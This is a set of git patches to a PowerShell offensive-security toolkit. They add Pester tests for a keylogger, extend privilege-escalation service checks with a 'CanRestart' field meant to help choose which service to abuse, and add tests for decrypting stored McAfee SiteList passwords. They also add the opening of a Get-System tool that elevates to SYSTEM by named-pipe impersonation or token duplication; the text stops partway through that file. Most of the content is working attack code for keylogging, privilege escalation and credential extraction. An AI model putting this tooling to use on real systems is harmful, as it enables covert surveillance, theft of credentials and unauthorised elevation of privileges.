From f66e219bd633bfcab96b5f34bfcaf86d3984faaf Mon Sep 17 00:00:00 2001 From: Jesse Davis Date: Sat, 9 Jan 2016 17:50:58 -0600 Subject: new Get-Keystrokes --- Tests/Exfiltration.tests.ps1 | 55 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 55 insertions(+) create mode 100644 Tests/Exfiltration.tests.ps1 (limited to 'Tests') diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1 new file mode 100644 index 0000000..baeebb8 --- /dev/null +++ b/Tests/Exfiltration.tests.ps1 @@ -0,0 +1,55 @@ +Set-StrictMode -Version Latest + +$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent +$ModuleRoot = Resolve-Path "$TestScriptRoot\.." +$ModuleManifest = "$ModuleRoot\Exfiltration\Exfiltration.psd1" + +Remove-Module [E]xfiltration +Import-Module $ModuleManifest -Force -ErrorAction Stop + +Describe 'Get-Keystrokes' { + + if (Test-Path "$($env:TEMP)\key.log") { Remove-Item -Force "$($env:TEMP)\key.log" } + $WindowTitle = (Get-Process -Id $PID).MainWindowTitle + + $Shell = New-Object -ComObject wscript.shell + $Shell.AppActivate($WindowTitle) + + $KeyLogger = Get-Keystrokes -Return + Start-Sleep -Seconds 1 + + $Shell.SendKeys('Pester is SUPER l337!') + $KeyLogger.Dispose() + + It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true } + + $KeyObjects = Get-Content -Path "$($env:TEMP)\key.log" | ConvertFrom-Csv + + It 'Should log all keystrokes' { + $Keys = $KeyObjects | % { $_.TypedKey } + $String = -join $Keys + $String | Should Be 'Pester< >is< >SUPER< >l337!' + } + + It 'Should get foreground window title' { + $KeyObjects[0].WindowTitle | Should Be $WindowTitle + } + + It 'Should log time of key press' { + $KeyTime = [DateTime]::Parse($KeyObjects[0].Time) + $KeyTime.GetType().Name | Should Be 'DateTime' + } + + It 'Should stop logging Pester is SUPER l337!after timeout' { + + $Timeout = 0.05 + $KeyLogger = Get-Keystrokes -Timeout $Timeout -Return + + Start-Sleep -Seconds 4 + + $KeyLogger.Runspace.RunspaceAvailability | Should Be 'Available' + $KeyLogger.Dispose() + } + + Remove-Item -Force "$($env:TEMP)\key.log" +} \ No newline at end of file -- cgit v1.2.3 From ef887af9d6b58e7114332a989b15ba4c306ccd83 Mon Sep 17 00:00:00 2001 From: Jesse Davis Date: Sat, 9 Jan 2016 17:55:47 -0600 Subject: Update Exfiltration.tests.ps1 --- Tests/Exfiltration.tests.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) (limited to 'Tests') diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1 index baeebb8..30e2f53 100644 --- a/Tests/Exfiltration.tests.ps1 +++ b/Tests/Exfiltration.tests.ps1 @@ -40,7 +40,7 @@ Describe 'Get-Keystrokes' { $KeyTime.GetType().Name | Should Be 'DateTime' } - It 'Should stop logging Pester is SUPER l337!after timeout' { + It 'Should stop logging after timeout' { $Timeout = 0.05 $KeyLogger = Get-Keystrokes -Timeout $Timeout -Return @@ -52,4 +52,4 @@ Describe 'Get-Keystrokes' { } Remove-Item -Force "$($env:TEMP)\key.log" -} \ No newline at end of file +} -- cgit v1.2.3 From 5f13c7b4deda82701d2834b8ef948a89d2e68074 Mon Sep 17 00:00:00 2001 From: sagishahar Date: Wed, 13 Jan 2016 01:36:23 +0800 Subject: Add 'CanRestart' to output and Pester tests Pester tests to the function 'Test-ServiceDaclPermission' were added in order to increase confidence in its reliability. In general, my intention was to replace the current functionality of the service management functions such as Invoke-ServiceStart, to not use blindly 'sc.exe start' but rather consult with the DACL permissions and base the decision on that. Unforunately, further investigation lead me to the conclusion that retrieval of the service's DACL permissions requires that an additional DACL permission (RC) be set. This may lead to an edge case that could miss a potential privilege escalation condition and thereby the original idea was discarded. Nonetheless, 'Test-ServiceDaclPermission' can be used for less critical tasks. Therefore, a 'CanRestart' property was added to the output of the service enumeration functions such as 'Get-ServiceUnquoted' as I think that it will add value to redteamers/pentesters by helping them prioritise which service should be abused for escalation of privileges. Services that can be restarted by a low privileged user will probably be prioritised first. Additionally, manual checking whether the vulnerable service can be restarted would not be required in most cases. --- Privesc/PowerUp.ps1 | 119 +++++++++++++++++++++++-------------------- Tests/Privesc.tests.ps1 | 131 ++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 195 insertions(+), 55 deletions(-) (limited to 'Tests') diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 0d71b14..a8f55e5 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -122,8 +122,7 @@ function Test-ServiceDaclPermission { # check if sc.exe exists if (-not (Test-Path ("$env:SystemRoot\system32\sc.exe"))){ - Write-Warning "[!] Could not find $env:SystemRoot\system32\sc.exe" - return $False + throw [System.IO.FileNotFoundException] "$env:SystemRoot\system32\sc.exe not found" } $ServiceAccessFlags = @{ @@ -151,68 +150,60 @@ function Test-ServiceDaclPermission { # make sure we got a result back if (-not ($TargetService)){ - Write-Warning "[!] Target service '$ServiceName' not found on the machine" - return $False + throw [System.Management.Instrumentation.InstanceNotFoundException] "Target service '$ServiceName' not found on the machine" } - try { - # retrieve DACL from sc.exe - $Result = sc.exe sdshow $TargetService.Name | where {$_} + # retrieve DACL from sc.exe (only possible if 'RC' DACL is set) + $Result = sc.exe sdshow $TargetService.Name | where {$_} - if ($Result -like "*OpenService FAILED*"){ - Write-Warning "[!] Access to service $($TargetService.Name) denied" - return $False - } + if ($Result -like "*OpenService FAILED*"){ + throw [System.Management.Automation.ApplicationFailedException] "Could not retrieve DACL permissions for '$($TargetService.Name)'" + } - $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result) + $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result) - # populate a list of group SIDs that the current user is a member of - $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid} + # populate a list of group SIDs that the current user is a member of + $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid} - # add to the list the SID of the current user - $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + # add to the list the SID of the current user + $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value - ForEach ($Sid in $Sids){ - ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){ - - # check if the group/user SID is included in the ACE - if ($Sid -eq $Ace.SecurityIdentifier){ - - # convert the AccessMask to a service DACL string - $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object { - if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) { - $_ - } - }) -join "" - - # convert the input DACL to an array - $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_}) - - # counter to check how many DACL permissions were found - $MatchedPermissions = 0 + ForEach ($Sid in $Sids){ + ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){ + + # check if the group/user SID is included in the ACE + if ($Sid -eq $Ace.SecurityIdentifier){ - # check if each of the permissions exists - ForEach ($DaclPermission in $DaclArray){ - if ($DaclString.Contains($DaclPermission.ToUpper())){ - $MatchedPermissions += 1 - } - else{ - break - } + # convert the AccessMask to a service DACL string + $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object { + if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) { + $_ } - # found all permissions - success - if ($MatchedPermissions -eq $DaclArray.Count){ - return $True + }) -join "" + + # convert the input DACL to an array + $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_}) + + # counter to check how many DACL permissions were found + $MatchedPermissions = 0 + + # check if each of the permissions exists + ForEach ($DaclPermission in $DaclArray){ + if ($DaclString.Contains($DaclPermission.ToUpper())){ + $MatchedPermissions += 1 } - } - } + else{ + break + } + } + # found all permissions - success + if ($MatchedPermissions -eq $DaclArray.Count){ + return $True + } + } } - return $False - } - catch{ - Write-Warning "Error: $_" - return $False } + return $False } function Invoke-ServiceStart { @@ -369,7 +360,7 @@ function Invoke-ServiceEnable { try { # enable the service - Write-Verbose "Enabling service '$TargetService.Name'" + Write-Verbose "Enabling service '$($TargetService.Name)'" $Null = sc.exe config "$($TargetService.Name)" start= demand return $True } @@ -417,7 +408,7 @@ function Invoke-ServiceDisable { try { # disable the service - Write-Verbose "Disabling service '$TargetService.Name'" + Write-Verbose "Disabling service '$($TargetService.Name)'" $Null = sc.exe config "$($TargetService.Name)" start= disabled return $True } @@ -458,11 +449,17 @@ function Get-ServiceUnquoted { if ($VulnServices) { ForEach ($Service in $VulnServices){ + try { + $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP' + } catch { + $CanRestart = "Cannot be determined through DACL, try manually." + } $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $Service.name $Out | Add-Member Noteproperty 'Path' $Service.pathname $Out | Add-Member Noteproperty 'StartName' $Service.startname $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -ServiceName '$($Service.name)' -Path " + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } } @@ -492,12 +489,18 @@ function Get-ServiceFilePermission { $ServiceStartName = $_.startname $ServicePath | Get-ModifiableFile | ForEach-Object { + try { + $CanRestart = Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WPRP' + } catch { + $CanRestart = "Cannot be determined through DACL, try manually." + } $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceName $Out | Add-Member Noteproperty 'Path' $ServicePath $Out | Add-Member Noteproperty 'ModifiableFile' $_ $Out | Add-Member Noteproperty 'StartName' $ServiceStartName $Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -ServiceName '$ServiceName'" + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } } @@ -510,7 +513,7 @@ function Get-ServicePermission { This function enumerates all available services and tries to open the service for modification, returning the service object - if the process doesn't failed. + if the process didn't fail. .EXAMPLE @@ -541,11 +544,17 @@ function Get-ServicePermission { # means the change was successful if ($Result -contains "[SC] ChangeServiceConfig SUCCESS"){ + try { + $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP' + } catch { + $CanRestart = "Cannot be determined through DACL, try manually." + } $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $Service.name $Out | Add-Member Noteproperty 'Path' $Service.pathname $Out | Add-Member Noteproperty 'StartName' $Service.startname $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -ServiceName '$($Service.name)'" + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } } diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 095c946..56dfd2c 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -74,6 +74,137 @@ Describe 'Get-ModifiableFile' { } } +Describe 'Test-ServiceDaclPermission' { + + if(-not $(Test-IsAdmin)) { + Throw "'Test-ServiceDaclPermission' Pester test needs local administrator privileges." + } + + It "Should fail finding 'sc.exe'." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + $DirectoryName = Get-RandomName + $env:SystemRoot = 'C:\\' + $DirectoryName + { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "sc.exe not found" + + sc.exe delete $ServiceName | Should Match "SUCCESS" + $env:SystemRoot = 'C:\Windows' + } + + It "Should succeed finding 'sc.exe'." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + $DirectoryName = Get-RandomName + New-Item -Path $env:Temp -Name "$DirectoryName\System32" -ItemType Directory + New-Item -Path $env:Temp -Name "$DirectoryName\System32\sc.exe" -ItemType File + $env:SystemRoot = $env:Temp + "\$DirectoryName" + Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True + + Remove-Item -Recurse -Force "$env:Temp\$DirectoryName" + $env:SystemRoot = 'C:\Windows' + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + It "Should fail querying WMI for a non-existent service." { + $ServiceName = Get-RandomName + { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "not found on the machine" + } + + It "Should succeed querying WMI for an existenting service." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + It "Should fail querying WMI for an existing service due to insufficient DACL permissions." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS" + { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "not found on the machine" + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + It "Should succeed querying WMI for an existing service due to sufficient DACL permissions." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS" + Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + It "Should fail running 'sc.exe sdshow' due to insufficient permissions." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDWDWO;;;$UserSid)" | Should Match "SUCCESS" + { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "Could not retrieve DACL permissions" + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + It "Should succeed running 'sc.exe sdshow' due to sufficient permissions." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS" + Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + it "Should fail finding the service DACL value of 'WP' for the current user." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPDTLOCRSDRCWDWO;;;S-1-5-4)" | Should Match "SUCCESS" + Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WP' | Should Be $False + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + it "Should succeed finding the service DACL value of 'WP' for the current user." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-4)" | Should Match "SUCCESS" + Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WP' | Should Be $True + sc.exe delete $ServiceName | Should Match "SUCCESS" + } +} ######################################################## # -- cgit v1.2.3 From 759bd481ae57e450fd6fb371690014e67411ac98 Mon Sep 17 00:00:00 2001 From: Jesse Davis Date: Wed, 13 Jan 2016 21:02:50 -0600 Subject: Fixed Pester/PassThru --- Exfiltration/Get-Keystrokes.ps1 | 8 ++++++-- Tests/Exfiltration.tests.ps1 | 10 +++++----- 2 files changed, 11 insertions(+), 7 deletions(-) (limited to 'Tests') diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index d78f9c2..3a7d1dc 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -19,6 +19,10 @@ function Get-Keystrokes { Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely. +.PARAMETER PassThru + + Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes. + .EXAMPLE Get-Keystrokes -LogPath C:\key.log @@ -43,7 +47,7 @@ function Get-Keystrokes { [Double]$Timeout, [Parameter()] - [Switch]$Return + [Switch]$PassThru ) $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath) @@ -368,5 +372,5 @@ function Get-Keystrokes { # Start KeyLogger [void]$PowerShell.BeginInvoke() - if ($Return.IsPresent) { return $PowerShell } + if ($PassThru.IsPresent) { return $PowerShell } } \ No newline at end of file diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1 index baeebb8..064ebfe 100644 --- a/Tests/Exfiltration.tests.ps1 +++ b/Tests/Exfiltration.tests.ps1 @@ -15,10 +15,10 @@ Describe 'Get-Keystrokes' { $Shell = New-Object -ComObject wscript.shell $Shell.AppActivate($WindowTitle) - $KeyLogger = Get-Keystrokes -Return + $KeyLogger = Get-Keystrokes -PassThru Start-Sleep -Seconds 1 - $Shell.SendKeys('Pester is SUPER l337!') + $Shell.SendKeys("Pester`b`b`b`b`b`b") $KeyLogger.Dispose() It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true } @@ -28,7 +28,7 @@ Describe 'Get-Keystrokes' { It 'Should log all keystrokes' { $Keys = $KeyObjects | % { $_.TypedKey } $String = -join $Keys - $String | Should Be 'Pester< >is< >SUPER< >l337!' + $String | Should Match 'Pester' } It 'Should get foreground window title' { @@ -40,10 +40,10 @@ Describe 'Get-Keystrokes' { $KeyTime.GetType().Name | Should Be 'DateTime' } - It 'Should stop logging Pester is SUPER l337!after timeout' { + It 'Should stop logging after timeout' { $Timeout = 0.05 - $KeyLogger = Get-Keystrokes -Timeout $Timeout -Return + $KeyLogger = Get-Keystrokes -Timeout $Timeout -PassThru Start-Sleep -Seconds 4 -- cgit v1.2.3 From 75548931ba09dc0fe759a4863a67c83f18b7b855 Mon Sep 17 00:00:00 2001 From: Jesse Davis Date: Wed, 13 Jan 2016 22:30:38 -0600 Subject: Fixed Pester/PassThru --- Tests/Exfiltration.tests.ps1 | 2 -- 1 file changed, 2 deletions(-) (limited to 'Tests') diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1 index e4f60d5..43383d1 100644 --- a/Tests/Exfiltration.tests.ps1 +++ b/Tests/Exfiltration.tests.ps1 @@ -22,8 +22,6 @@ Describe 'Get-Keystrokes' { $KeyLogger.Dispose() It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true } - - $KeyObjects = Get-Content -Path "$($env:TEMP)\key.log" | ConvertFrom-Csv It 'Should log keystrokes' { $FileLength = (Get-Item "$($env:TEMP)\key.log").Length -- cgit v1.2.3 From 9cc65e4a856a062d1f6d63d5412d7f0cd801877d Mon Sep 17 00:00:00 2001 From: Jesse Davis Date: Wed, 13 Jan 2016 22:32:44 -0600 Subject: Fixed Pester/PassThru --- Tests/Exfiltration.tests.ps1 | 2 ++ 1 file changed, 2 insertions(+) (limited to 'Tests') diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1 index 43383d1..e4f60d5 100644 --- a/Tests/Exfiltration.tests.ps1 +++ b/Tests/Exfiltration.tests.ps1 @@ -22,6 +22,8 @@ Describe 'Get-Keystrokes' { $KeyLogger.Dispose() It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true } + + $KeyObjects = Get-Content -Path "$($env:TEMP)\key.log" | ConvertFrom-Csv It 'Should log keystrokes' { $FileLength = (Get-Item "$($env:TEMP)\key.log").Length -- cgit v1.2.3 From 6de1d78af875300f8f1d82fad64b4471ed33882a Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 12 Feb 2016 17:25:13 -0500 Subject: Added Pester tests for Get-SiteListPassword Encrypted password check for Get-SiteListPassword fields --- Privesc/Get-SiteListPassword.ps1 | 9 +++- Tests/Privesc.tests.ps1 | 88 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 95 insertions(+), 2 deletions(-) (limited to 'Tests') diff --git a/Privesc/Get-SiteListPassword.ps1 b/Privesc/Get-SiteListPassword.ps1 index a37f63c..f631872 100644 --- a/Privesc/Get-SiteListPassword.ps1 +++ b/Privesc/Get-SiteListPassword.ps1 @@ -128,8 +128,13 @@ function Get-SiteListPassword { try { $PasswordRaw = $_.Password.'#Text' - # decrypt the base64 password - $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} + if($_.Password.Encrypted -eq 1) { + # decrypt the base64 password if it's marked as encrypted + $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} + } + else { + $DecPassword = $PasswordRaw + } $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server } $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath } diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 56dfd2c..296829f 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -699,3 +699,91 @@ Describe 'Invoke-AllChecks' { $Null = Remove-Item -Path $HtmlReportFile -Force -ErrorAction SilentlyContinue } } + +Describe 'Get-SiteListPassword' { + BeforeEach { + $Xml = 'Products/CommonUpdater0jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==Repository$0companydomainMcAfeeServicePassword123!Repository$0companydomainMcAfeeServicejWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==' + $Xml | Out-File -FilePath "${Home}\SiteList.xml" -Force + } + AfterEach { + Remove-Item -Force "${Home}\SiteList.xml" + } + + It 'Should correctly parse a SiteList.xml found in a searched path.' { + + $Credentials = Get-SiteListPassword + + $Credentials | Where-Object {$_.Name -eq 'McAfeeHttp'} | ForEach-Object { + # HTTP site + $_.Enabled | Should Be '1' + $_.Server | Should Be 'update.nai.com:80' + $_.Path | Should Be 'Products/CommonUpdater' + $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==' + $_.DecPassword | Should Be 'MyStrongPassword!' + $_.UserName | Should BeNullOrEmpty + $_.DomainName | Should BeNullOrEmpty + } + + + $Credentials | Where-Object {$_.Name -eq 'Paris'} | ForEach-Object { + # UNC site with unencrypted password + $_.Enabled | Should Be '1' + $_.Server | Should Be 'paris001' + $_.Path | Should Be 'Repository$' + $_.EncPassword | Should Be 'Password123!' + $_.DecPassword | Should Be 'Password123!' + $_.UserName | Should Be 'McAfeeService' + $_.DomainName | Should Be 'companydomain' + } + + $Credentials | Where-Object {$_.Name -eq 'Tokyo'} | ForEach-Object { + # UNC site with encrypted password + $_.Enabled | Should Be '1' + $_.Server | Should Be 'tokyo000' + $_.Path | Should Be 'Repository$' + $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==' + $_.DecPassword | Should Be 'MyStrongPassword!' + $_.UserName | Should Be 'McAfeeService' + $_.DomainName | Should Be 'companydomain' + } + } + + It 'Should correctly parse a SiteList.xml on a searched path.' { + + $Credentials = Get-SiteListPassword -SiteListFilePath "${Home}\SiteList.xml" + + $Credentials | Where-Object {$_.Name -eq 'McAfeeHttp'} | ForEach-Object { + # HTTP site + $_.Enabled | Should Be '1' + $_.Server | Should Be 'update.nai.com:80' + $_.Path | Should Be 'Products/CommonUpdater' + $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==' + $_.DecPassword | Should Be 'MyStrongPassword!' + $_.UserName | Should BeNullOrEmpty + $_.DomainName | Should BeNullOrEmpty + } + + + $Credentials | Where-Object {$_.Name -eq 'Paris'} | ForEach-Object { + # UNC site with unencrypted password + $_.Enabled | Should Be '1' + $_.Server | Should Be 'paris001' + $_.Path | Should Be 'Repository$' + $_.EncPassword | Should Be 'Password123!' + $_.DecPassword | Should Be 'Password123!' + $_.UserName | Should Be 'McAfeeService' + $_.DomainName | Should Be 'companydomain' + } + + $Credentials | Where-Object {$_.Name -eq 'Tokyo'} | ForEach-Object { + # UNC site with encrypted password + $_.Enabled | Should Be '1' + $_.Server | Should Be 'tokyo000' + $_.Path | Should Be 'Repository$' + $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==' + $_.DecPassword | Should Be 'MyStrongPassword!' + $_.UserName | Should Be 'McAfeeService' + $_.DomainName | Should Be 'companydomain' + } + } +} -- cgit v1.2.3 From 6a17f759ab1fe4c3cfdbfc33e362c362b4d47da1 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 11 Mar 2016 17:45:46 -0500 Subject: Added Get-System to Privesc/ Added Pester tests for Get-System --- Privesc/Get-System.ps1 | 590 ++++++++++++++++++++++++++++++++++++++++++++++++ Privesc/Privesc.psd1 | 7 +- Tests/Privesc.tests.ps1 | 42 ++++ 3 files changed, 636 insertions(+), 3 deletions(-) create mode 100644 Privesc/Get-System.ps1 (limited to 'Tests') diff --git a/Privesc/Get-System.ps1 b/Privesc/Get-System.ps1 new file mode 100644 index 0000000..17f5c41 --- /dev/null +++ b/Privesc/Get-System.ps1 @@ -0,0 +1,590 @@ +function Get-System { +<# + .SYNOPSIS + + GetSystem functionality inspired by Meterpreter's getsystem. + 'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create + a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. + NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure + token duplication works correctly. + + PowerSploit Function: Get-System + Author: @harmj0y, @mattifestation + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .PARAMETER Technique + + The technique to use, 'NamedPipe' or 'Token'. + + .PARAMETER ServiceName + + The name of the service used with named pipe impersonation, defaults to 'TestSVC'. + + .PARAMETER PipeName + + The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. + + .PARAMETER RevToSelf + + Reverts the current thread privileges. + + .PARAMETER WhoAmI + + Switch. Display the credentials for the current PowerShell thread. + + .EXAMPLE + + PS> Get-System + + Uses named impersonate to elevate the current thread token to SYSTEM. + + .EXAMPLE + + PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' + + Uses named impersonate to elevate the current thread token to SYSTEM + with a custom service and pipe name. + + .EXAMPLE + + PS> Get-System -Technique Token + + Uses token duplication to elevate the current thread token to SYSTEM. + + .EXAMPLE + + PS> Get-System -WhoAmI + + Displays the credentials for the current thread. + + .EXAMPLE + + PS> Get-System -RevToSelf + + Reverts the current thread privileges. + + .LINK + + https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c + https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot + http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ + http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ +#> + [CmdletBinding(DefaultParameterSetName = 'NamedPipe')] + param( + [Parameter(ParameterSetName = "NamedPipe")] + [Parameter(ParameterSetName = "Token")] + [String] + [ValidateSet("NamedPipe", "Token")] + $Technique = 'NamedPipe', + + [Parameter(ParameterSetName = "NamedPipe")] + [String] + $ServiceName = 'TestSVC', + + [Parameter(ParameterSetName = "NamedPipe")] + [String] + $PipeName = 'TestSVC', + + [Parameter(ParameterSetName = "RevToSelf")] + [Switch] + $RevToSelf, + + [Parameter(ParameterSetName = "WhoAmI")] + [Switch] + $WhoAmI + ) + + $ErrorActionPreference = "Stop" + + # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', 